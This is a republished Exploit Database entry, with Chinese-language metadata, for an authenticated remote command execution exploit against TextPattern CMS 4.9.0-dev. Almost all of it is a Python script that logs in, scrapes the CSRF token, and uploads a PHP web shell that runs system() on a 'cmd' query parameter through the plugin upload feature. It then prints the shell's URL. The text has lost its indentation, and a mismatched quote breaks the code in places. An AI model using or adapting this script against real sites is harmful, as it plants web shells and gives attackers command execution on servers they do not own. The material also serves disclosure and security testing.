TextPattern CMS 4.9.0-dev – Remote Command Execution (RCE) (Authenticated)

Exploit Database
110 阅读

作者： Mevlüt Akçam

日期： 2021-07-05
类别：
- webapps
平台：
- php
来源：https://www.exploit-db.com/exploits/50095/

# Exploit Title: TextPattern CMS 4.9.0-dev - Remote Command Execution (RCE) (Authenticated)

# Date: 07/04/2021

# Exploit Author: Mevlüt Akçam

# Software Link: https://github.com/textpattern/textpattern

# Vendor Homepage: https://textpattern.com/

# Version: 4.9.0-dev

# Tested on: 20.04.1-Ubuntu

#!/usr/bin/python3

import requests

from bs4 import BeautifulSoup as bs4

import json

import string

import random

import argparse

# Colors

RED="\033[91m"

GREEN="\033[92m"

RESET="\033[0m"

parser = argparse.ArgumentParser()

parser.add_argument('-t', '--url', required=True, action='store', help='Target url')

parser.add_argument('-u', '--user', required=True, action='store', help='Username')

parser.add_argument('-p', '--password', required=True, action='store', help='Password')

args = parser.parse_args()

URL=args.url

uname=args.user

passwd=args.password

session=requests.Session()

def login(uname,passwd):

data={'lang':'en','p_userid':uname,'p_password':passwd}

r_login=session.post(URL+"/textpattern/index.php",data=data, verify=False)

if r_login.status_code == 200:

print(GREEN,f"[+] Login successful , your cookie : {session.cookies['txp_login']}",RESET)

else:

print(RED,f"[-] Login failed",RESET)

exit()

def get_token():

print(GREEN,f"[+] Getting token ",RESET)

r_token=session.get(URL+"/textpattern/index.php?event=plugin")

soup = bs4(r_token.text, 'html.parser')

textpattern = soup.find_all("script")[2].string.replace("var textpattern = ", "")[:-1]

textpattern = json.loads(textpattern)

return textpattern['_txp_token']

def upload():

file_name=''.join(random.choice(string.ascii_lowercase) for _ in range(10))

file={

'theplugin':(

file_name+".php",

"""

<html>

<body>

</form>

<pre>

<?php if(isset($_GET['cmd'])){system($_GET['cmd']);} ?>

</pre>

</body>

</html>

"

),# The file_name is used to verify that the file has been uploaded.

'install_new':(None,'Upload'),

'event':(None,'plugin'),

'step':(None,'plugin_upload'),

'_txp_token':(None,get_token()),

}

r_upload=session.post(URL+"/textpattern/index.php",verify=False,files=file)

if file_name in r_upload.text:

print(GREEN,f"[+] Shell uploaded",RESET)

print(GREEN,f"[+] Webshell url : {URL}/textpattern/tmp/{file_name}.php",RESET)

else:

print(RED,f"[-] Shell failed to load",RESET)

print(RED,f"[-] Bye",RESET)

exit()

if __name__=="__main__":

upload()

print(GREEN,f"[+] Bye",RESET)